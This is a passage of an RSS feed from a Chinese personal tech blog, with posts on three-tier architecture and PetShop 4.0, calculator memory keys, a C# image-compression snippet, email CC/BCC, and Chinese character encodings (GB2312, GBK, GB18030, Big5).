&lt;p&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;“三层结构”开发模式的一个非常明显的缺点就是其执行速度不够快。当然这个“执行速度”是相对于非分层的应用程序来说的。&lt;/span&gt;从文中所给出的时序图来看，也明显的暴露了这一缺点。TraceLWord1和TraceLWord2没有分层，直接调用的ADO.NET所提供的类来获取数据。但是，TraceLWord6确要经过多次调用才能获取到数据。在子程序模块程序没有返回时，主程序模块只能处于等待状态。所以在执行速度上，留言板的版本越高，排名却越靠后。&lt;span style=&#34;text-decoration: underline;&#34;&gt;“三层结构”开发模式，不适用于对执行速度要求过于苛刻的系统，例如：在线订票，在线炒股等等……它比较擅长于商业规则容易变化的系统。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;“三层结构”开发模式，入门难度够高，难于理解和学习。这是对于初学程序设计的人来说的。&lt;span style=&#34;text-decoration: underline;&#34;&gt;以这种模式开发出来的软件，代码量通常要稍稍多一些。&lt;/span&gt;这往往会令初学者淹没在茫茫的代码之中。望之生畏，对其产生反感，也是可以理解的……&lt;/p&gt;
&lt;p&gt;其实，无论哪一种开发模式或方法，都是有利有弊的。不会存在一种“万用法”可以解决任何问题。所以“三层结构”这个词眼也不会是个例外！是否采用这个模式进行系统开发，要作出比较、权衡之后才可以。切忌滥用!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;参与资料&lt;/span&gt;&lt;/strong&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;/p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;http://www.bincess.cn/Downloads/MainDoc.rar&#34;&gt;MainDoc.rar    （《浅谈“三层结构”原理与用意》1.30M)      &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.bincess.cn/Downloads/MainDoc.rar&#34;&gt;http://www.bincess.cn/Downloads/MainDoc.rar&lt;/a&gt;     &lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;/p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;petshop 4.0的体系结构（只是稍微看了一下，了解一下结构）&lt;/p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;简介：PetShop随着版本的不断更新，至现在基于.Net 2.0的PetShop4.0为止，整个设计逐渐变得成熟而优雅，而且有很多可以借鉴之处。PetShop是一个小型的项目，系统架构与代码都比较简单，却也凸现了许多颇有价值的设计与开发理念。&lt;/div&gt;
&lt;div&gt;下载地址:[http://msdn.microsoft.com/en-us/library/aa479070.aspx](http://msdn.microsoft.com/en-us/library/aa479070.aspx)&lt;/div&gt;
&lt;div&gt;**PetShop架构设计**
三层”应用结构：数据访问层、业务逻辑层（领域层）、表示层
分层的设计的特点：
结构清晰、耦合度低
便于系统的扩展
利于开发任务同步进行
降低了一定的性能&lt;/div&gt;
&gt; &lt;div&gt;.Net    PetShop    4.0    配置文件属性管理&lt;/div&gt;
&gt; &lt;div&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;http://blog.csdn.net/fengfangfang/archive/2006/09/07/1189061.aspx&lt;/span&gt;
&gt; 
&gt;     .Net    PetShop    4.0    缓存处理
&gt; &lt;span style=&#34;text-decoration: underline;&#34;&gt;http://blog.csdn.net/fengfangfang/archive/2006/09/06/1185077.aspx&lt;/span&gt;
&gt; 
&gt;     .Net    PetShop    4.0    消息处理
&gt; [http://blog.csdn.net/fengfangfang/archive/2006/09/08/1194896.aspx](http://blog.csdn.net/fengfangfang/archive/2006/09/08/1194896.aspx)
&gt; 
&gt;     每个功能都使用了工厂模式 &lt;span style=&#34;color: #0000ff;&#34;&gt;
&gt; &lt;/span&gt;&lt;/div&gt;
&gt; &lt;div&gt;&lt;/div&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;参考了Duwamish
&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;Web Search&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>你会用计算器吗？</title>
      <link>http://blog.leaver.me/2012/05/05/%E4%BD%A0%E4%BC%9A%E7%94%A8%E8%AE%A1%E7%AE%97%E5%99%A8%E5%90%97/</link>
      <pubDate>Sat, 05 May 2012 12:55:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/05/%E4%BD%A0%E4%BC%9A%E7%94%A8%E8%AE%A1%E7%AE%97%E5%99%A8%E5%90%97/</guid>
      <description>&lt;p&gt;　　今天早上在用windows自带的计算器转换进制的时候，看到了下图所示的按钮。MS MR之类的。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21157_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/94b98df6f3d241859ae7ea4e2f869ede69eca33a.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　这些个按钮在简单的计算器上也有。我从小时候到现在都没搞清楚。当然也没搞过。。不学总是不会的。于是，找找资料。学会了也分享一下，英文是我猜的。。不过估计差不多&lt;/p&gt;
&lt;p&gt;　　首先明确的一点是这类计算器内部有一个小的记忆芯片，可以用来存储一个数，类似于内存吧。所以M的意思就是Memory，下面先给出这几个的总体说明&lt;/p&gt;
&lt;p&gt;　　“MS”，英文 Memory Store，用来存储输入栏显示的数字。&lt;/p&gt;
&lt;p&gt;　　“MR”，英文 Memory Read， 再次显示调用存储的数字。&lt;/p&gt;
&lt;p&gt;　　“M+”，英文 Memory Plus， 存储器里的值加上输入栏的值，结果又存入存储器&lt;/p&gt;
&lt;p&gt;　　“M+”，英文 Memory Minus， 存储器里的值减去输入栏的值，结果又存入存储器&lt;/p&gt;
&lt;p&gt;　　“MC”，英文 Memory Clear，用于清除存储器中的数值，默认为0&lt;/p&gt;
&lt;p&gt;　　“C”， 英文 Cancel，就是全部撤销；&lt;/p&gt;
&lt;p&gt;　　“CE”，  英文 Cancel Error，也就是撤销错误输入。&lt;/p&gt;
&lt;p&gt;　　现在来说个例子，比如我要计算100&lt;em&gt;2+11&lt;/em&gt;3因为一些计算器不支持整个式子输入。也是为了演示这些功能。我们可以这样输入，&lt;/p&gt;
&lt;p&gt;　　先输入100，然后 * ，然后 2 ，按下等号，这时候输入栏变成了200，我们按下MS 或者M+，按下MS的话把200存到了存储器，而按下M+呢，因为存储器默认是0，所以就相当于0+200，存储器里就是200了。然后我们继续输入11 ，输入 +，输入3 ，按下等号，输入栏变成了33.我们按下M+，这时候输入栏并没有改变。因为M+将存储器里的200加上了33.则存储器里变成了233.我们按下MR就是读取存储器的值，这样输入栏就可以看到233了。我们就可以继续用233来运算了。MC就是清除233.恢复为0.&lt;/p&gt;
&lt;p&gt;　　例如：想要9*6，如果按6按错按成5了， 按C就是从头来过， 这时就要重新按9了， 但是如果你按CE的话， 就只要输入6就行了， 不必输入前面的了。&lt;/p&gt;
&lt;p&gt;　　我个人感觉M存储器就相当于一个草稿。吧计算中的一些临时值存储起来，就不用手记了。我记得我那时候有时候算值还得先把一些临时值写在纸上，后面重新输入。没文化真可怕。&lt;/p&gt;</description>
    </item>
    <item>
      <title>图片压缩工具源码（C#）</title>
      <link>http://blog.leaver.me/2012/05/04/%E5%9B%BE%E7%89%87%E5%8E%8B%E7%BC%A9%E5%B7%A5%E5%85%B7%E6%BA%90%E7%A0%81c/</link>
      <pubDate>Fri, 04 May 2012 08:17:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/04/%E5%9B%BE%E7%89%87%E5%8E%8B%E7%BC%A9%E5%B7%A5%E5%85%B7%E6%BA%90%E7%A0%81c/</guid>
      <description>&lt;p&gt;以前在用一个破解版的图片压缩工具。今天早上想想自己也试着做一个吧。查了一些资料。参考了一些代码。总算是写出来了。其实关键代码很简单。主要还是画界面，处理边界。。
看下效果图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21131_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/00f5221099dd3a813d09fbb95fe9a36e5268d652.jpg&#34;&gt;&lt;/a&gt;
处理图像的关键代码是这样的：&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; 
    bmp = new Bitmap(width, height);  //创建一张空白画布
    grap = Graphics.FromImage(bmp);  //以该画布创建一个绘图对象
 //平滑的高品质，抗锯齿
    grap.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; 
 //HighQualityBicubic 是质量最好的绘图模式
    grap.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
    grap.DrawImage(img, new Rectangle(0, 0, width, height)); //用选中的原图在画布上绘图
    bmp.Save(topath, System.Drawing.Imaging.ImageFormat.Jpeg);  //对图像压缩后保存
&lt;/pre&gt;
&lt;p&gt;另外一个就是空间的tip功能，vs2010中貌似已经不支持直接使用属性来设置tip了。所以用到了ToolTip类，使用方法如下，你也可以先导入库，然后简写，ToolTip对象可以给窗体的控件设置提示。主要是第二句话，第一个参数是控件名，第二个参数是提示文本，最好将这两句放入窗体的Load方法中&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;
ToolTip toolTip = new System.Windows.Forms.ToolTip();
toolTip.SetToolTip(this.lboxPicPath, &#34;双击可删除不需要的图片&#34;);
&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21132_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/516b951c5df12c7569b3cfefd817a894d380c063.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;还有一些边界，比如只接受数字数字之类的，我在代码里给出了详细的说明。实用工具的效果自行测试。对大图片效果最好。&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=62101&amp;amp;uk=1493685990&#34;&gt;图片压缩工具源码&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>说说邮件中的抄送和密送</title>
      <link>http://blog.leaver.me/2012/05/03/%E8%AF%B4%E8%AF%B4%E9%82%AE%E4%BB%B6%E4%B8%AD%E7%9A%84%E6%8A%84%E9%80%81%E5%92%8C%E5%AF%86%E9%80%81/</link>
      <pubDate>Thu, 03 May 2012 08:29:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/03/%E8%AF%B4%E8%AF%B4%E9%82%AE%E4%BB%B6%E4%B8%AD%E7%9A%84%E6%8A%84%E9%80%81%E5%92%8C%E5%AF%86%E9%80%81/</guid>
      <description>&lt;p&gt;　　一直是分不太清楚，或者说是不知道具体的应用场合，于是，今天早上查了一下资料。总算是搞清楚了&lt;/p&gt;
&lt;p&gt;　　不论你是用什么邮箱服务提供商，可能是126.或是Gmail，或是Qmail。在发送邮件的时候会看到如下类似的选项&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21092_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1dbfa77edb4f3eb5f8bb37f4df0e7a3c76b17ae3.png&#34; title=&#34;cc&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　抄送的英文缩写为CC，来源于Carbon Copy，如果一份邮件需要发送给多个人阅读，只要在“抄送”或“CC”一栏填上相关人员的信箱地址即可。如果是抄送多人，同样的直接添加到抄送栏就可以了。&lt;/p&gt;
&lt;p&gt;　　密送的英文缩写为BCC，来源于Blind Carbon Copy,由于某种原因或出于某种考虑，你不希望收信人知道你把这封邮件还发送给了另外的人，则可将这位幕后的人的信箱地址放在密送一栏。&lt;/p&gt;
&lt;p&gt;　　具体的规则是怎么呢。如果我密送给了多个人，那么多个人会互相看到彼此吗？下面我将使用一个例子来说明&lt;/p&gt;
&lt;p&gt;　　如果：A 发送邮件(To)给B1、B2，抄送(CC)给C1、C2，密送(BCC)给D1、D2。&lt;/p&gt;
&lt;p&gt;　　那么：&lt;/p&gt;
&lt;p&gt;　　A知道自己发送邮件给了B1、B2，并且抄送给了C1、C2，密送给了D1、D2。这相当于废话。。自己肯定知道自己给谁发了。　
　　B1知道这封是A发送给B1、B2的邮件，并且抄送给了C1、C2、但不知道密送给了D1、D2。To的人能看到抄送，看不到密送　
　　C1知道这封是A发送给B1、B2的邮件，并且抄送给了C1、C2，但不知道密送给了D1、D2。抄送的人看不到密送。　　
　　D1知道这封是A发送给B1、B2的邮件，并且抄送给了C1、C2，而且密送给了自己，但不知道密送给了D2。 密送的人权限比较大，可以看到最多的情况，但依然看不到密送&lt;/p&gt;
&lt;p&gt;　　具体的用法呢，一句话就是：&lt;em&gt;&lt;strong&gt;一般抄送和密送是为了备份，知会，或者监督跟踪的作用。&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　我先举个例子。有些个朋友过节什么的喜欢群发邮件。或是一些什么网页之类的。有这个心是好的。可是。对于收到的人来说，一看到是群发的。直接可能都删掉了。所以此时可以使用密送功能。对应于上面说的最后一种情况。具体使用时在To里写上自己的地址，这样邮件会发给自己。密送栏里写上其他人的邮件，这样就同时密送给其他人，并且每个人都会只看到发给自己。起码有看下去的心情。&lt;/p&gt;
&lt;p&gt;　　邮件在工作中用的非常多，美国人总结的中国人典型特征中有一条，“即使面对面坐着，也不直接交谈而要使用邮件。”而这在很多外企之中是非常流行的文化，和总部打交道，邮件往往是最快捷和便宜的方式，&amp;quot;&lt;/p&gt;
&lt;p&gt;　　说到抄送，简直是所有邮件灾难故事最有力的协助者。同事之间常有抄送行为，有时是为了工作方便，同事A同时将一封邮件抄送给B和C，只能说明他们之间需要互相协作完成一件事情，但如果A将邮件发送给了B，却抄送给了B的老板C，那意味就深远了，通常有可能的情况是，A和B在合作的过程中发生了一些不愉快，告知老板的目的只是为了给对方一些震慑，这一招在各大公司当中都屡试不爽，而且往往成为一件悬而不决的事情得到解决的最快速手段。&lt;/p&gt;
&lt;p&gt;　　抄送更多时候只是手段，而不是最终目的。看到一个某人A与其他部门同事B合作时发生的插曲，在某次急需同事B提供某文件支持时，B不慌不忙地一直以各种借口拖延工作，A忍无可忍，发了一封紧急邮件，同时抄送了B部门的领导和自己的领导，在这样一封邮件下，B在十分钟之内就将所需文件以附件形式传了过来，并回复了原邮件中的所有人。&lt;/p&gt;
&lt;p&gt;　　如果你看了觉得真麻烦。其实。最有效的交流就是面对面，但是在职场中这是最有效地证明你自己干过什么的工具，一旦出了什么问题，最容易发现在哪个环节出现了问题，该由谁承担什么样的责任。如果遇到打官司这样的严重情况，邮件甚至能够作为呈堂证供。&lt;/p&gt;
&lt;p&gt;　　没事给朋友写写邮件，那天看到一句话：维系友情的方法之一，是冷冰冰地写邮件。频率少得可怜，常常春暖花开发的邮件，秋叶飘零时收到回复。
 &lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.eeo.com.cn/2012/0328/223658.shtml&#34;&gt;http://www.eeo.com.cn/2012/0328/223658.shtml&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://baike.soso.com/v3997479.htm&#34;&gt;http://baike.soso.com/v3997479.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://dudo.org/archives/2007123120184.html&#34;&gt;http://dudo.org/archives/2007123120184.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>中文编码杂谈</title>
      <link>http://blog.leaver.me/2012/05/02/%E4%B8%AD%E6%96%87%E7%BC%96%E7%A0%81%E6%9D%82%E8%B0%88/</link>
      <pubDate>Wed, 02 May 2012 11:25:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/02/%E4%B8%AD%E6%96%87%E7%BC%96%E7%A0%81%E6%9D%82%E8%B0%88/</guid>
      <description>&lt;p&gt;本文来自&lt;a href=&#34;http://www.searchtb.com/2012/04/chinese_encode.html&#34;&gt;http://www.searchtb.com/2012/04/chinese_encode.html&lt;/a&gt;,讲的不错。收藏分享。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;编码问题的例子&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在Windows自带的Notepad（记事本）程序中输入“联通”两个字，保存后再次打开，会发现“联通”不见了，代之以“��ͨ”的乱码。这是Windows平台上典型的中文编码问题。即文件保存的时候是按照ANSI编码（其实就是GB2312，后面会详细介绍）保存，打开的时候程序按照UTF-8方式对内容解释，于是就出现了乱码。避免乱码的方式很简单，在“文件”菜单中选择“打开”命令，选择保存的文件，然后选择“ANSI”编码，此时就能看到久违的“联通”两个字了。&lt;/p&gt;
&lt;p&gt;在Linux平台上如果使用cat等命令查看文件中的中文内容时，可能出现乱码。这也是编码的问题。简单的说是文件时按照A编码保存，但是cat命令按照当前Locale设定的B编码去查看，在B和A不兼容的时候就出现了乱码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为什么写这篇文章&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;中文编码由于历史原因牵扯到不少标准，在不了解的时候感觉一头雾水；但其实理解编码问题并不需要你深入了解各个编码标准，只要你明白了来龙去脉，了解了关键的知识点，就能分析和解决日常开发工作中碰到的大部分编码问题。有感于我看过的资料和文章要么不够全面，要么略显枯燥，所以通过这篇文章记录下笔者在日常工作中碰到的中文编码原理相关问题，目的主要是自我总结，如果能给读者提供一些帮助那就算是意外之喜了。由于严谨的编码标准对我来说是无趣的，枯燥的，难以记忆的，本文尝试用浅显易懂的生活语言解释中文编码相关的（也可能不相关的）一些问题，这也是为什么取名杂谈的原因。本文肯定存在不规范不全面的地方，我会在参考资料里给出官方文档的链接，也欢迎读者在评论中提出更好的表达方式&amp;amp;指出错误，不胜感激。&lt;/p&gt;
&lt;p&gt;对编码问题的理解我认为分为三个层次，第一个层次：概念，知道各个编码标准的应用场景，了解之间的差异，能分析和解决常见的一些编码问题。第二个层次：标准，掌握编码的细节，如编码范围，编码转换规则，知道这些就能自行开发编码转换工具。第三个层次，使用，了解中文的编码二进制存储，在程序开发过程中选择合理的编码并处理中文。为了避免让读者陷入编码标准的黑洞无法脱身（不相信？看看unicode的规范就明白我的意思了），同时由于编码查询&amp;amp;转换工具等都有现成工具可以使用，本文只涉及第一个层次，不涉及第二层次，在第三层次上会做一些尝试。在本文的最后提供了相关链接供对标准细节感兴趣的同学继续学习。最后，本文不涉及具体软件的乱码问题解决，如ssh，shell，vim，screen等，这些话题留给剑豪同学专文阐述。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一切都是因为电脑不识字&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;电脑很聪明，可以帮我们做很多事情，最开始主要是科学计算，这也是为什么电脑别名计算机。电脑又很笨，在她的脑子里只有数字，即所有的数据在存储和运算时都要使用二进制数表示。这在最初电脑主要用来处理大量复杂的科学计算时不是什么大问题，但是当电脑逐步走入普通人的生活时，情况开始变糟了。办公自动化等领域最主要的需求就是文字处理，电脑如何来表示文字呢？这个问题当然难不倒聪明的计算机科学家们，用数字来代表字符呗。这就是“编码”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;英文的终极解决方案：ASCII&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;每个人都可以约定自己的一套编码，只要使用方之间了解就ok了。比如说咱俩约定0×10表示a，0×11表示b。在一开始也的确是这样的，出现了各式各样的编码。这样有两个问题：1. 各个编码的字符集不一样，有的多，有的少。2. 相同字符的编码也不一样。你这里a是0×10，他那里a可能是0×30。于是你保存的文件他就不能直接用，必须要转换编码。随着沟通范围的扩大，采用不同编码的人们互相通信就乱套了，这就是我们常说的：鸡同鸭讲。如果要避免这种混乱，那么大家就必须使用相同的编码规则，于是美国有关的标准化组织就出台了ASCII（American Standard Code for Information Interchange）编码，统一规定了英文常用符号用哪些二进制数来表示。ASCII是标准的单字节字符编码方案，用于基于文本的数据。&lt;/p&gt;
&lt;p&gt;ASCII最初是美国国家标准，供不同计算机在相互通信时用作共同遵守的西文字符编码标准，已被国际标准化组织（International Organization for Standardization, ISO）定为国际标准，称为ISO 646标准。适用于所有拉丁文字字母。ASCII 码使用指定的7位或8位二进制数组合来表示128或256种可能的字符。标准ASCII 码也叫基础ASCII码，使用7位二进制数来表示所有的大写和小写字母，数字0 到9、标点符号， 以及在美式英语中使用的特殊控制字符。而最高位为1的另128个字符（80H—FFH）被称为“扩展ASCII”，一般用来存放英文的制表符、部分音标字符等等的一些其它符号。&lt;/p&gt;
&lt;p&gt;其中：&lt;strong&gt;0&lt;/strong&gt;**～&lt;strong&gt;&lt;strong&gt;31&lt;/strong&gt;&lt;/strong&gt;及&lt;strong&gt;&lt;strong&gt;127(&lt;strong&gt;&lt;strong&gt;共&lt;/strong&gt;&lt;/strong&gt;33&lt;/strong&gt;&lt;/strong&gt;个****)****是控制字符或通信专用字符（其余为可显示字符），**32～126(共95个)是字符(32是空格），其中48～57为0到9十个阿拉伯数字，65～90为26个大写英文字母，97～122号为26个小写英文字母，其余为一些标点符号、运算符号等。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f4718a7f6f7773857d978c65f5a676848ca450d7.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;现在所有使用英文的电脑终于可以用同一种编码来交流了。理解了ASCII编码，其他字母型的语言编码方案就触类旁通了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一波三折的中文编码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一次尝试：GB2312&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ASCII这种字符编码规则显然用来处理英文没有什么问题，它的出现极大的促进了信息在西方尤其是美国的传播和交流。但是对于中文，常用汉字就有6000以上，ASCII 单字节编码显然是不够用。为了粉碎美帝国主义通过编码限制中国人民使用电脑的无耻阴谋，中国国家标准总局发布了GB2312码即中华人民共和国国家汉字信息交换用编码，全称《信息交换用汉字编码字符集——基本集》，1981年5月1日实施，通行于大陆。GB2312字符集中除常用简体汉字字符外还包括希腊字母、日文平假名及片假名字母、俄语西里尔字母等字符，未收录繁体中文汉字和一些生僻字。 EUC-CN可以理解为GB2312的别名，和GB2312完全相同。&lt;/p&gt;
&lt;p&gt;GB2312是基于区位码设计的，在区位码的区号和位号上分别加上A0H就得到了GB2312编码。这里第一次提到了“区位码”，我就连带把下面这几个让人摸不到头脑的XX码一锅端了吧：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;区位码，国标码，交换码，内码，外码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;区位码&lt;/strong&gt;：就是把中文常用的符号，数字，汉字等分门别类进行编码。区位码把编码表分为94个区，每个区对应94个位，每个位置就放一个字符（汉字，符号，数字都属于字符）。这样每个字符的区号和位号组合起来就成为该汉字的区位码。区位码一般用10进制数来表示，如4907就表示49区7位，对应的字符是“学”。区位码中01-09区是符号、数字区，16-87区是汉字区，10-15和88-94是未定义的空白区。它将收录的汉字分成两级：第一级是常用汉字计3755个，置于16-55区，按汉语拼音字母/笔形顺序排列；第二级汉字是次常用汉字计3008个，置于56-87区，按部首/笔画顺序排列。在网上搜索“区位码查询系统”可以很方便的找到汉字和对应区位码转换的工具。为了避免广告嫌疑和死链，这里就不举例了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;国标码&lt;/strong&gt;： 区位码无法用于汉字通信，因为它可能与通信使用的控制码（00H&lt;del&gt;1FH）（即0&lt;/del&gt;31，还记得ASCII码特殊字符的范围吗？）发生冲突。于是ISO2022规定每个汉字的区号和位号必须分别加上32（即二进制数00100000，16进制20H），得到对应的国标交换码，简称&lt;strong&gt;国标码，交换码&lt;/strong&gt;，因此，“学”字的国标交换码计算为：&lt;/p&gt;
&lt;div&gt;
&lt;pre&gt;  00110001 00000111
+ 00100000 00100000
 -------------------
  01010001 00100111&lt;/pre&gt;
&lt;/div&gt;
用十六进制数表示即为5127H。
&lt;p&gt;&lt;strong&gt;交换码&lt;/strong&gt;：即国标交换码的简称，等同上面说的国标码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内码&lt;/strong&gt;：由于文本中通常混合使用汉字和西文字符，汉字信息如果不予以特别标识，就会与单字节的ASCII码混淆。此问题的解决方法之一是将一个汉字看成是两个扩展ASCII码，使表示GB2312汉字的两个字节的最高位都为1。即国标码加上128（即二进制数10000000,16进制80H）这种高位为1的双字节汉字编码即为GB2312汉字的机内码，简称为内码。20H+80H=A0H。这也就是常说的在区位码的区号和位号上分别加上A0H就得到了GB2312编码的由来。&lt;/p&gt;
&lt;div&gt;
&lt;pre&gt;  00110001 00000111
+ 10100000 10100000
  -------------------
  11010001 10100111&lt;/pre&gt;
&lt;/div&gt;
用十六进制数表示即为D1A7H。
&lt;p&gt;&lt;strong&gt;外码&lt;/strong&gt;：机外码的简称，就是汉字输入码，是为了通过键盘字符把汉字输入计算机而设计的一种编码。 英文输入时，相输入什么字符便按什么键，外码和内码一致。汉字输入时，可能要按几个键才能输入一个汉字。 汉字输入方案有成百上千个，但是这千差万别的外码输入进计算机后都会转换成统一的内码。&lt;/p&gt;
&lt;p&gt;最后总结一下上面的概念。中国国家标准总局把中文常用字符编码为94个区，每个区对应94个位，每个字符的区号和位号组合起来就是该字符的&lt;strong&gt;区位码&lt;/strong&gt;, 区位码用10进制数来表示，如4907就表示49区7位，对应的字符是“学”。 由于区位码的取值范围与通信使用的控制码（00H&lt;del&gt;1FH）（即0&lt;/del&gt;31）发生冲突。每个汉字的区号和位号分别加上32（即16进制20H）得到&lt;strong&gt;国标码，交换码。&lt;/strong&gt;“学”的国标码为5127H。由于文本中通常混合使用汉字和西文字符，为了让汉字信息不会与单字节的ASCII码混淆，将一个汉字看成是两个扩展ASCII码，即汉字的两个字节的最高位置为1，得到的编码为GB2312汉字的&lt;strong&gt;内码&lt;/strong&gt;。“学”的内码为D1A7H。无论你使用什么输入法，通过什么样的按键组合把“学”输入计算机，“学”在使用GB2312（以及兼容GB2312）编码的计算机里的内码都是D1A7H。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二次尝试：GBK&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;GB2312的出现基本满足了汉字的计算机处理需要，但由于上面提到未收录繁体字和生僻字，从而不能处理人名、古汉语等方面出现的罕用字，这导致了1995年《汉字编码扩展规范》（GBK）的出现。GBK编码是GB2312编码的超集，向下完全兼容GB2312，兼容的含义是不仅字符兼容，而且相同字符的编码也相同，同时在字汇一级支持ISO/IEC10646—1和GB 13000—1的全部中、日、韩（CJK）汉字，共计20902字。GBK还收录了GB2312不包含的汉字部首符号、竖排标点符号等字符。CP936和GBK的有些许差别，绝大多数情况下可以把CP936当作GBK的别名。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三次尝试：GB18030&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;GB18030编码向下兼容GBK和GB2312。GB18030收录了所有Unicode3.1中的字符，包括中国少数民族字符，GBK不支持的韩文字符等等，也可以说是世界大多民族的文字符号都被收录在内。GBK和GB2312都是双字节等宽编码，如果算上和ASCII兼容所支持的单字节，也可以理解为是单字节和双字节混合的变长编码。GB18030编码是变长编码，有单字节、双字节和四字节三种方式。&lt;/p&gt;
&lt;p&gt;其实，这三个标准并不需要死记硬背，只需要了解是根据应用需求不断扩展编码范围即可。从GB2312到GBK再到GB18030收录的字符越来越多即可。万幸的是一直是向下兼容的，也就是说一个汉字在这三个编码标准里的编码是一模一样的。这些编码的共性是变长编码，单字节ASCII兼容，对其他字符GB2312和GBK都使用双字节等宽编码，只有GB18030还有四字节编码的方式。这些编码最大的问题是2个。1. 由于低字节的编码范围和ASCII有重合，所以不能根据一个字节的内容判断是中文的一部分还是一个独立的英文字符。2. 如果有两个汉字编码为A1A2B1B2，存在A2B1也是一个有效汉字编码的特殊情况。这样就不能直接使用标准的字符串匹配函数来判断一个字符串里是否包含某一个汉字，而需要先判断字符边界然后才能进行字符匹配判断。&lt;/p&gt;
&lt;p&gt;最后，提一个小插曲，上面讲的都是大陆推行的汉字编码标准，使用繁体的中文社群中最常用的电脑&lt;a href=&#34;http://baike.baidu.com/view/1712.htm&#34;&gt;汉字&lt;/a&gt;&lt;a href=&#34;http://baike.baidu.com/view/51987.htm&#34;&gt;字符集&lt;/a&gt;标准叫大五码（Big5），共收录13,060个中文字，其中有二字为重覆编码(实在是不应该)。Big5虽普及于中国的台湾、香港与澳门等繁体中文通行区，但长期以来并非当地的国家标准，而只是业界标准。倚天中文系统、Windows等主要系统的字符集都是以Big5为基准，但厂商又各自增删，衍生成多种不同版本。2003年，Big5被收录到台湾官方标准的附录当中，取得了较正式的地位。这个最新版本被称为Big5-2003。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;天下归一Unicode&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;看了上面的多个中文编码是不是有点头晕了呢？如果把这个问题放到全世界n多个国家n多语种呢？各国和各地区自己的文字编码规则互相冲突的情况全球信息&lt;a href=&#34;http://www.edenw.com/tech/net/switch/&#34;&gt;交换&lt;/a&gt;带来了很大的麻烦。&lt;/p&gt;
